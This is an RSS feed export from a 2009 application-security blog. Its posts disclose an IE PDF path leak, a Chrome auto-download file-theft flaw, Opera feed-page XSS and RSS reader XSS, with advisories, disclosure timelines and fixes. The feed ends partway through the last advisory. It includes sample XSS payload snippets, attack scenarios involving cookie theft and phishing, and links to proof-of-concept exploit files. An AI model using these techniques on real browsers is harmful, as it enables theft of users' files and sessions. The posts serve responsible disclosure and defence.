<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>SecureThoughts.com</title>
	
	<link>http://securethoughts.com</link>
	<description>Inferno's Blog on Application Security</description>
	<lastBuildDate>Sun, 22 Nov 2009 20:09:21 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/securethoughts" /><feedburner:info uri="securethoughts" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>securethoughts</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Millions of PDF invisibly embedded with your internal disk paths</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/q1lBr5RMlq8/</link>
		<comments>http://securethoughts.com/2009/11/millions-of-pdf-invisibly-embedded-with-your-internal-disk-paths/#comments</comments>
		<pubDate>Sun, 22 Nov 2009 20:09:21 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Information Gathering]]></category>
		<category><![CDATA[Solutions]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Information Disclosure]]></category>
		<category><![CDATA[PDF]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=1027</guid>
		<description><![CDATA[I found an interesting privacy issue while analyzing PDF files. This bug occurs when you are using Internet Explorer to print locally saved web pages as PDF and affects all IE versions including IE8. It does not matter which PDF generation software you are using like Adobe Acrobat Professional, CutePDF, PrimoPDF, etc as long as [...]]]></description>
			<content:encoded><![CDATA[<p>I found an interesting privacy issue while analyzing <a href="http://get.adobe.com/reader/">PDF</a> files. This bug occurs when you are using <a href="http://www.microsoft.com/windows/internet-explorer/default.aspx">Internet Explorer</a> to print locally saved web pages as PDF and affects all IE versions including IE8. It does not matter which PDF generation software you are using like <a href="http://www.adobe.com/products/acrobatpro/">Adobe Acrobat Professional</a>, <a href="http://www.cutepdf.com/">CutePDF</a>, <a href="http://www.primopdf.com">PrimoPDF</a>, etc as long as you are invoking it from inside the IE print function. In Windows, even when your default browser is not IE and if you right click a file to select the PRINT from the context menu, then by default it invokes the IE print handler. So, you will still see this issue in the generated PDF.</p>
<p>This bug is NOT ABOUT the local disk path appearing in the FOOTER of your pdf since it is clearly visible and already known by most people. This is easy enough to hide by just going <strong>File</strong> -> <strong>Page Setup</strong> -> <strong>Change the Footer value from &#8220;URL&#8221; to &#8220;-Empty-&#8221;</strong>. After doing that, you will not expect your internal disk path being put anywhere else. However, that does not happen.</p>
<p>The privacy issue arises from the fact that your local disk path gets invisibly embedded inside your PDF in the title attribute. Only when you open the file in an Editor like Notepad, you will see it. Currently, there is no option in IE to disable it. The only workaround is to manually nullify this value by editing the PDF file. Note that this problem does not occur when using other browsers such as Firefox and Chrome. In fact, Chrome handles the other footer issue intelligently as well by showing your disk path as &#8220;&#8230;&#8221;, rather than exposing it.</p>
<p><strong>Proof of Concept:</strong></p>
<p><em>Steps to reproduce:</em><br />
1. Pick a .HTM or .HTML or .MHT file on your local computer.<br />
2. Open this file in IE and click Ctrl-P.<br />
OR Right-click the file in explorer and select PRINT from context menu.<br />
4. Select any PDF writer as Printer such as Adobe PDF / CutePDF / PrimoPDF / etc.<br />
5. Click Print. When the PDF writer asks for a filename, provide any name.<br />
6. Open the generated pdf in notepad, and search for &#8220;<strong>file://</strong>&#8221; without quotes.</p>
<p><em>Search for this on your favorite search engine (Google/Bing)</em></p>
<blockquote><p>filetype:pdf file c (htm OR html OR mhtml)</p></blockquote>
<p><a href="http://www.google.com/search?hl=en&#038;q=filetype%3Apdf+file+c+%28htm+OR+html+OR+mhtml%29&#038;btnG=Search&#038;aq=f&#038;oq=&#038;aqi=">Google Search 1 (for drive C)</a> &#8211; 4 million results<br />
<a href="http://www.google.com/search?hl=en&#038;q=filetype%3Apdf+file+d+%28htm+OR+html+OR+mhtml%29&#038;btnG=Search&#038;aq=f&#038;oq=&#038;aqi=">Google Search 2 (for drive D)</a> &#8211; 13 million results<br />
and so on&#8230;. (I added till drive letter J and total was more than 50 million&#8230;.)</p>
<p>So, out of <a href="http://www.google.com/search?hl=en&#038;source=hp&#038;fkt=265&#038;fsdt=593&#038;q=filetype%3Apdf&#038;aq=f&#038;oq=&#038;aqi=g10">280 million pdfs</a> accessible on the internet, more than 20% look to be exposing internal disk paths which is a huge number. I have contacted the Microsoft and Adobe Security Teams about this issue. Microsoft has plans to fix this in IE9, while Adobe has opened the case but hasn&#8217;t planned the timelines yet.</p>
<p><strong>Examples:</strong></p>
<p><a href="http://www.eda.gov/PDF/EDA_vol1;%20Issue10.pdf">http://www.eda.gov/PDF/EDA_vol1;%20Issue10.pdf</a></p>
<pre class="brush: xml; wrap-lines: true">
&lt;x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c316 44.253921, Sun Oct 01 2006 17:14:39"&gt;
   &lt;rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
      &lt;rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/"&gt;
         &lt;dc:format&gt;application/pdf&lt;/dc:format&gt;
         &lt;dc:creator&gt;
            &lt;rdf:Seq&gt;
               &lt;rdf:li&gt;LewtasS&lt;/rdf:li&gt;
            &lt;/rdf:Seq&gt;
         &lt;/dc:creator&gt;
         &lt;dc:title&gt;
            &lt;rdf:Alt&gt;
               &lt;rdf:li xml:lang="x-default"&gt;file://C:\Documents and Settings\lewtass\Desktop\eda newsletter&lt;/rdf:li&gt;
            &lt;/rdf:Alt&gt;
         &lt;/dc:title&gt;
      &lt;/rdf:Description&gt;
</pre>
<p><a href="http://www.oregon.gov/OMD/OEM/plans_train/grant_info/fy2009_hsgp_investment_justification.pdf">http://www.oregon.gov/OMD/OEM/plans_train/grant_info/fy2009_hsgp_investment_justification.pdf</a></p>
<pre class="brush: xml; wrap-lines: true">
&lt;x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="3.1-701"&gt;
   &lt;rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
      &lt;rdf:Description rdf:about=""
            xmlns:pdf="http://ns.adobe.com/pdf/1.3/"&gt;
         &lt;pdf:Producer&gt;Acrobat Distiller 7.0.5 (Windows)&lt;/pdf:Producer&gt;
      &lt;/rdf:Description&gt;
      &lt;rdf:Description rdf:about=""
            xmlns:xap="http://ns.adobe.com/xap/1.0/"&gt;
         &lt;xap:CreatorTool&gt;PScript5.dll Version 5.2.2&lt;/xap:CreatorTool&gt;
         &lt;xap:ModifyDate&gt;2009-03-18T15:07:10-07:00&lt;/xap:ModifyDate&gt;
         &lt;xap:CreateDate&gt;2009-03-18T15:07:10-07:00&lt;/xap:CreateDate&gt;
      &lt;/rdf:Description&gt;
      &lt;rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/"&gt;
         &lt;dc:format&gt;application/pdf&lt;/dc:format&gt;
         &lt;dc:title&gt;
            &lt;rdf:Alt&gt;
               &lt;rdf:li xml:lang="x-default"&gt;mhtml:file://O:\fema\shsp_2009\draft ijs\fy 2009 investment jus&lt;/rdf:li&gt;
            &lt;/rdf:Alt&gt;
</pre>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/q1lBr5RMlq8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/11/millions-of-pdf-invisibly-embedded-with-your-internal-disk-paths/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/11/millions-of-pdf-invisibly-embedded-with-your-internal-disk-paths/</feedburner:origLink></item>
		<item>
		<title>Using Blended Browser Threats involving Chrome to steal files on your computer</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/tuWYBkvA9AI/</link>
		<comments>http://securethoughts.com/2009/11/using-blended-browser-threats-involving-chrome-to-steal-files-on-your-computer/#comments</comments>
		<pubDate>Thu, 05 Nov 2009 21:36:54 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=1022</guid>
		<description><![CDATA[=============================================



SECURETHOUGHTS.COM ADVISORY




- CVE-ID
: CVE-2009-3931 (Chrome) 


- Release Date
: November 05, 2009


- CVSS Severity
: 9.3 (High)


- Discovered by
: Inferno


=============================================
I. TITLE
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
Using Blended Browser Threats involving Chrome to steal files on your computer
II. VULNERABLE
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
Chrome all versions < 3.0.195.32
Tests performed on v3.0.195.25
III. BACKGROUND
-------------------------
Google Chrome is a web browser released by Google which uses the WebKit layout engine and application [...]]]></description>
			<content:encoded><![CDATA[<p>=============================================</p>
<table height=25>
<tr>
<td width=75></td>
<td><strong>SECURETHOUGHTS.COM ADVISORY</strong></td>
</tr>
</table>
<table>
<tr>
<td width=150>- CVE-ID</td>
<td>: CVE-2009-3931 (Chrome) </td>
</tr>
<tr>
<td width=150>- Release Date</td>
<td>: November 05, 2009</td>
</tr>
<tr>
<td width=150>- CVSS Severity</td>
<td>: 9.3 (High)</td>
</tr>
<tr>
<td width=150>- Discovered by</td>
<td>: Inferno</td>
</tr>
</table>
<p>=============================================</p>
<p>I. TITLE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Using Blended Browser Threats involving Chrome to steal files on your computer</p>
<p>II. VULNERABLE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Chrome all versions < 3.0.195.32<br />
Tests performed on v3.0.195.25</p>
<p>III. BACKGROUND<br />
-------------------------<br />
Google Chrome is a web browser released by Google which uses the WebKit layout engine and application framework. It is one of the four most popular browsers in the market today. Google released the entire source code of Chrome, including its bespoke V8 JavaScript engine as an open source project entitled Chromium, in 2008. Google Chrome is best known for its fast speed, simplicity and reliability.</p>
<p>IV. DESCRIPTION<br />
-------------------------<br />
Google Chrome has an inbuilt file downloader[<a href="http://www.google.com/support/chrome/bin/answer.py?hl=en&#038;answer=95759">1</a>], just like every other browser. However, the behavior of this function is different from other browsers and provides users much more usability and convenience. Chrome automatically downloads a file from any site that is passed using the Content-Disposition header value “attachment” (on the contrary, all other browsers show a save as dialog). There are some mitigations done by Chrome to protect users from auto downloading malware by raising an alert on executable extensions such as .exe, .htm, .jar, etc.</p>
<p>The vulnerability arises from the fact that there are other extensions such as .svg, .mht, .mhtml that don&#8217;t exist in the Chrome&#8217;s malicious extension blacklist and hence the user never gets a warning message before they are auto downloaded to his or her computer. If these downloaded files are clicked from the Chrome&#8217;s download bar or Windows Explorer (which the user is highely likely to click considering his or her trust in Chrome that it warns for malicious extensions), they will automatically get opened in other browsers and can be used to steal any file on the user&#8217;s computer. </p>
<p>The reason for the name &#8220;Blended Browser Threats&#8221; is because here, Google Chrome is used as a vehicle for attack, whereas the real vulnerability executes inside other  browsers such as IE6, Safari on your computer. The vulnerability is not directly exploitable in IE6, Safari since an evil site cannot automatically download content on your computer without your permission. Another important point to note here is you might not be using the browsers IE6, Safari and instead using Chrome. But clicking a particular file on Chrome&#8217;s download bar can make it automatically open in IE6, Safari. See the proof of concept examples below.</p>
<p>V. PROOF OF CONCEPT<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
1. The MHT, MHTML (MIME HTML) file format is used by Internet Explorer to embed all external resources, usually images, in a single document. Basically, whenever you click &#8220;Save As&#8221; on a web page, this is the default format used to save it. So, MHT, MHTML files gets automatically opened in IE when clicked. The exploit I want to discuss is interesting in the context of IE6 (estimated to be installed on roughly 25% of the computers). For other newer versions like IE7, IE8, the user is explicitly prompted about the danger of executing javascript and hence much harder to exploit.</p>
<p>An evil site opened inside Chrome can automatically download a MHT/MHTML file to your computer. If the user clicks on this downloaded file from the Chrome&#8217;s download bar or opens this file through Windows Explorer, it gets automatically opened in IE6. The malicious script executes and can be used to send any of your local files to a remote evil destination. Ex: Click on this link-<br/><br />
<a href="http://securethoughts.com/security/chromelocalfilexss/chromedownload.php?fname=WATCHMENAKED.mhtml">http://securethoughts.com/security/chromelocalfilexss/chromedownload.php?fname=WATCHMENAKED.mhtml</a><br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/chromelocalfilexss1.jpg" title="" class="shutterset_singlepic31" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/31__500x300_chromelocalfilexss1.jpg" alt="Chrome File Downloader Exploit - Steal Local Files with help from IE6" title="Chrome File Downloader Exploit - Steal Local Files with help from IE6" />
</a>
<br/></p>
<p>2. The SVG(Scalable Vector Graphics) file is a registered extension in some Safari versions and hence a SVG file gets automatically opened in Safari. If you ever had an older version of Safari on your computer, this extension will be most probably there in your registry. Hence, it does not matter what your current version of Safari is (and you may very well be using the latest version of Safari). So the exploit works like this:</p>
<p>An evil site opened inside Chrome can automatically download a SVG file to your computer. If the user clicks on this downloaded file from the Chrome&#8217;s download bar or opens this file through Windows Explorer, it gets automatically opened in Safari. The malicious script executes and can be used to send any of your local files to a remote evil destination. Ex: Click on this link-<br/><br />
<a href="http://securethoughts.com/security/chromelocalfilexss/chromedownload.php?fname=WATCHMENAKED.svg">http://securethoughts.com/security/chromelocalfilexss/chromedownload.php?fname=WATCHMENAKED.svg</a><br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/chromelocalfilexss2.jpg" title="" class="shutterset_singlepic32" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/32__500x300_chromelocalfilexss2.jpg" alt="Chrome File Downloader Exploit - Steal Local Files with help from Safari" title="Chrome File Downloader Exploit - Steal Local Files with help from Safari" />
</a>
<br/></p>
<p>3. An evil site opened inside Chrome can automatically download inappropriate content such as a por_ographic image to your computer. Ex: Click on this link-<br/><br />
<a href="http://securethoughts.com/security/chromelocalfilexss/chromedownload.php?fname=WATCHMENAKED.jpg">http://securethoughts.com/security/chromelocalfilexss/chromedownload.php?fname=WATCHMENAKED.jpg</a><br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/chromelocalfilexss3.jpg" title="" class="shutterset_singlepic33" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/33__500x300_chromelocalfilexss3.jpg" alt="Chrome File Downloader Exploit - Push Por_ographic Image" title="Chrome File Downloader Exploit - Push Por_ographic Image" />
</a>
</p>
<p>VI. FIX DESCRIPTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Google Chrome Team fixed this vulnerability by appending these dangerous extensions such as .mht, .mhtml, .svg, etc to already existing extension blacklist.<br />
Check out the fixes done in Chromium Source Code here [<a href="http://codereview.chromium.org/243115">2</a>,<a href="http://codereview.chromium.org/261022">3</a>].</p>
<p>Chrome Team is also actively looking how to improve this mechanism in the long run, but because of the need to maintain compatibility with certain existing uses, this needs to be done carefully. </p>
<p>VII. SOLUTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Chrome: Upgrade to latest version of Google Chrome (v3.0.195.32 or higher). If you remain connected to the internet, this should be automatic. </p>
<p>The more secure solution is to configure your browser to prompt you explicitly before downloading any file type. This can be done by going to Chrome Configuration Options -> Under the Hood -> Check the &#8216;<strong>Ask where to save each file before downloading</strong>&#8216; flag.</p>
<p>VIII. References<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
1. Downloads: Downloading a file – Google Chrome Help<br />
<a href="http://www.google.com/support/chrome/bin/answer.py?hl=en&#038;answer=95759">http://www.google.com/support/chrome/bin/answer.py?hl=en&#038;answer=95759</a></p>
<p>2. Google Chrome Code Fix 1<br />
<a href="http://codereview.chromium.org/243115">http://codereview.chromium.org/243115</a></p>
<p>3. Google Chrome Code Fix 2<br />
<a href="http://codereview.chromium.org/261022">http://codereview.chromium.org/261022</a></p>
<p>4. Interesting Reads &#8211; thanks to Michal.<br />
(a) Security in Depth: Local Web Pages – Adam Barth<br />
<a href="http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html">http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html</a></p>
<p>(b) Same-Origin Policy:Browser Security Handbook &#8211; Michal Zalewski<br />
<a href="http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy">http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy</a></p>
<p>IX. CREDITS<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
This vulnerability is discovered by<br />
Inferno (inferno {at} securethoughts {dot} com)</p>
<p>X. DISCLOSURE TIMELINE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Oct 5, 2009 12:14 AM: Vulnerability reported to Google Security Team.<br />
Oct 6, 2009 11:19 AM: Automated Response from Google Security Team.<br />
Oct 6, 2009 01:46 PM: First Status update provided by Michal Zalewski. Vulnerability confirmed.<br />
Oct 6, 2009 11:33 PM: Second Status update provided by Michal Zalewski. Code Fix 1 checked in by Adam Barth.<br />
Oct 8, 2009 12:30 AM: Code Fix 2 checked in by Adam Barth.<br />
Nov 5, 2009 01:18 PM: Chrome v3.0.195.32 Released containing the Security Patch.</p>
<p>I would like to thank <a href="http://lcamtuf.coredump.cx/">Michal Zalewski</a> and <a href="http://www.adambarth.com/">Adam Barth</a> from Google for their prompt responses and getting the patch ready in a timely manner. It was a pleasure working with them. I am grateful to Google for providing credit for my research by listing me on their &#8220;<a href="http://www.google.com/corporate/security.html">We Thank You</a>&#8221; Page.</p>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/tuWYBkvA9AI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/11/using-blended-browser-threats-involving-chrome-to-steal-files-on-your-computer/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/11/using-blended-browser-threats-involving-chrome-to-steal-files-on-your-computer/</feedburner:origLink></item>
		<item>
		<title>Hijacking Opera’s Native Page using malicious RSS payloads</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/1gNoA11_4MM/</link>
		<comments>http://securethoughts.com/2009/10/hijacking-operas-native-page-using-malicious-rss-payloads/#comments</comments>
		<pubDate>Wed, 28 Oct 2009 13:45:57 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[RSS]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=1064</guid>
		<description><![CDATA[Well, this one is a continuation of my previous post on Cross Site Scripting issues relating to RSS feed readers. In that post, I mentioned Scenario (3), but didn&#8217;t discuss any details or PoC since Opera Team was actively fixing it. This issue is now fixed in the latest security update v10.01 from Opera Team.
In [...]]]></description>
			<content:encoded><![CDATA[<p>Well, this one is a continuation of my <a href="http://securethoughts.com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader-with-script-execution-and-more/">previous post</a> on Cross Site Scripting issues relating to RSS feed readers. In that post, I mentioned Scenario (3), but didn&#8217;t discuss any details or PoC since Opera Team was actively fixing it. This issue is now fixed in the latest security update <a href="http://my.opera.com/desktopteam/blog/opera-10-01">v10.01</a> from Opera Team.</p>
<p>In this exploit, an attacker uses a maliciously crafted RSS payload to achieve full control over the Victim&#8217;s Opera Browser.  The attack works by convincing a user to visit a RSS feed link. When the user opens the url in Opera, there are two things that take place. The first one being Javascript in various RSS feed entries gets executed in the context of the calling site. This part was discussed in the previous post and can be used to execute XSS in the context of that site. The second thing that occurs is the untrusted rss feed content lands up in the Opera&#8217;s Feed Subscription Page (also the reason for this post). Since this is a native page, it runs in a higher privileged zone than the internet zone (something similar to chrome:// in Firefox and Chrome). </p>
<p>So, if you find a way to execute your malicious javascript in the feed subscription page, you can essentially execute native opera functions and ultimately use it to control the Victim&#8217;s Opera browser. It looks like Opera&#8217;s Team did think about the implications of putting untrusted user content in this page and hence only permitted a certain whitelist of html tags. In addition, for some html tags such as &#8220;A&#8221; and &#8220;IMG&#8221;, it required certain preconditions to be met. See the code snippets captured using Opera inbuilt debugger <a href="http://www.opera.com/dragonfly/">DragonFly</a> (you can also use <a href="http://getfirebug.com/lite.html">Firebug lite</a>). </p>
<p><strong>Whitelisted HTML Tags Definition &#8211; Opera Feed Subscription Page (Source &#8211; DragonFly)</strong><br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/operanativepagexss1.png" title="" class="shutterset_singlepic36" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/36__500x300_operanativepagexss1.png" alt="Opera Feed Subscription Page Source in DragonFly - Part 1" title="Opera Feed Subscription Page Source in DragonFly - Part 1" />
</a>
<br />
<strong>HTML Tag Sanitizer/Filter Function &#8211; Opera Feed Subscription Page (Source &#8211; DragonFly)</strong><br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/operanativepagexss2.png" title="" class="shutterset_singlepic37" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/37__500x300_operanativepagexss2.png" alt="Opera Feed Subscription Page Source in DragonFly - Part 2" title="Opera Feed Subscription Page Source in DragonFly - Part 2" />
</a>
</p>
<p>If you had tried the simple xss attacks like <strong>&lt;img src=&#8221;x:x&#8221; onerror=&#8221;some javascript&#8221;/></strong> or something like <strong>&lt;a onmouseover=&#8221;some javascript&#8221;>link&lt;/a></strong>, these won&#8217;t work here (hint: check out preconditions defined above). It is important to understand what you are attacking and if read this code, you will figure out what constitutes a valid malicious payload that will evade this filter or sanitizer on the Opera Subscriptions Page.</p>
<p>So, here is an example PoC exploit code which executes the <strong>opera.feeds.subscribeNative</strong> function to automatically register a feed in Opera browser without user consent.<br />
<br/><a href="http://securethoughts.com/security/rssatomxss/opera10exploit2.atom">http://securethoughts.com/security/rssatomxss/opera10exploit2.atom</a><br />
(Tested on Opera 10.00 Stable Build 1750)<br />

<a href="http://securethoughts.com/wp-content/gallery/security/operanativepagexss3.png" title="" class="shutterset_singlepic38" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/38__500x300_operanativepagexss3.png" alt="Automatic Feed Registration without User Consent" title="Automatic Feed Registration without User Consent" />
</a>
</p>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/1gNoA11_4MM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/10/hijacking-operas-native-page-using-malicious-rss-payloads/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/10/hijacking-operas-native-page-using-malicious-rss-payloads/</feedburner:origLink></item>
		<item>
		<title>Exploiting Chrome and Opera’s inbuilt ATOM/RSS reader with Script Execution and more</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/c4TxsUuTHl0/</link>
		<comments>http://securethoughts.com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader-with-script-execution-and-more/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 04:00:23 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Opera]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=845</guid>
		<description><![CDATA[Update: I missed pointing out the cutting edge research done by Robert Auger in this area back in 2006. [1,2]. Also, Michal Zalewski has written about the RSS and ATOM vulnerabilities in the comprehensive Browser Security Handbook. Definitely check these links out.
=============================================



SECURETHOUGHTS.COM ADVISORY




- CVE-ID
: CVE-2009-3263 (Chrome)


- Release Date
: September 15, 2009


- Severity
: Medium to High


- [...]]]></description>
			<content:encoded><![CDATA[<p><strong><em>Update: I missed pointing out the cutting edge research done by <a href="http://www.cgisecurity.com">Robert Auger</a> in this area back in 2006. [<a href="http://www.cgisecurity.com/papers/HackingFeeds.pdf">1</a>,<a href="http://www.cgisecurity.com/papers/RSS-Security.ppt">2</a>]. Also, <a href="http://lcamtuf.coredump.cx/">Michal Zalewski</a> has written about the RSS and ATOM vulnerabilities in the comprehensive <a href="http://code.google.com/p/browsersec/wiki/Main">Browser Security Handbook</a>. Definitely check these links out.</strong></em></p>
<p>=============================================</p>
<table height=25>
<tr>
<td width=75></td>
<td><strong>SECURETHOUGHTS.COM ADVISORY</strong></td>
</tr>
</table>
<table>
<tr>
<td width=150>- CVE-ID</td>
<td>: CVE-2009-3263 (Chrome)</td>
</tr>
<tr>
<td width=150>- Release Date</td>
<td>: September 15, 2009</td>
</tr>
<tr>
<td width=150>- Severity</td>
<td>: Medium to High</td>
</tr>
<tr>
<td width=150>- Discovered by</td>
<td>: Inferno</td>
</tr>
</table>
<p>=============================================</p>
<p>I. TITLE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Exploiting Chrome and Opera&#8217;s inbuilt ATOM/RSS reader with Script Execution and more</p>
<p>II. VULNERABLE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Chrome all versions &#8211; 2 and 3 (< 3.0.195.21)<br />
Opera all versions - 9 and 10.</p>
<p>III. BACKGROUND<br />
-------------------------<br />
Back in 2006, there was interesting research done by James Holderness[<a href="http://intertwingly.net/blog/2006/08/09/Attack-Delivery-TestSuite">1</a>] and James M. Snell[<a href="http://www.snellspace.com/wp/?p=448">2</a>] which uncovered a variety of XSS issues in various online feed aggregator services (e.g. <a href="http://www.snellspace.com/wp/?p=426">Feed Demon</a>). The vulnerability arises from the fact that it is not expected of RSS readers to render scripted content. I want to extend that research by doing threat analysis on inbuilt feed readers offered in most modern browsers. I have found Google Chrome (v2,3) and Opera (v9,v10) to be vulnerable, while Internet Explorer(v7,8), Firefox 3.5 and Safari 4 are resilient to the exploits mentioned below.</p>
<p>IV. DESCRIPTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Google Chrome and Opera’s inbuilt RSS/ATOM Reader renders untrusted javascript in an RSS/ATOM feed.</p>
<p><strong>Exploit Scenarios</strong></p>
<ol>
<li><em>Scenario 1</em> &#8211;</li>
<ol>
<li>Attacker social engineers a victim user to visit a rss/atom feed link pointing to his or her evil site.</li>
<li>Victim uses Google Chrome / Opera browser to view the feed.</li>
<li>Malicious javascript gets executed on victim&#8217;s browser. Examples</li>
<ol>
<li>Modifies into a phishing page and asks user credentials for subscribing to Google Reader / My.Opera.com</li>
<li>Searches user&#8217;s browser history for visited url list [<a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html">3</a>]
<li>Scans user&#8217;s internal network with/without javascript [<a href="http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html">4</a>]
</ol>
</ol>
<li><em>Scenario 2</em> &#8211;</li>
<ol>
<li>Both attacker and victim user have an account to a trusted website.</li>
<li>Either</li>
<ol>
<li>The trusted web site lets the attacker inject JavaScript content into any section of the site&#8217;s RSS or an Atom feed.</li>
</ol>
<li>OR</li>
<ol>
<li>The trusted website uses blacklist to block known executable file types for scripted content. E.g. html, jsp, etc.</li>
<li>Attacker uploads a file with extension .rss/.atom/arbitary extension preceded by .rss/.atom [e.g. .atom.tx]. Most widely used Apache web server passes Content-Type as &#8220;application/{atom/rss}+xml&#8221; for all the three cases automatically in default configuration.
 </li>
<li>Attacker convinces victim to visit the direct link to uploaded file. </li>
<li>Victim&#8217;s cookies and other sensitive data gets sent to attacker&#8217;s site.</li>
<li><strong>Note:</strong> For Internet Explorer (v7,8), the task is easier because it does automatic mime type detection. So, you can execute javascript content in any file extension. E.g. click <a href="http://securethoughts.com/security/rssatomxss/anyfile.tx">http://securethoughts.com/security/rssatomxss/anyfile.tx</a>. However, for other browsers, Firefox 3.5, Safari 4, Opera 10 and Chrome 3, they don&#8217;t support this functionality (perhaps for security reasons). So, using such extensions mentioned above can be used as a workaround for script execution in Opera and Chrome browsers.
</li>
</ol>
</ol>
<li><em>Scenario 3</em> &#8211;</li>
<ol>
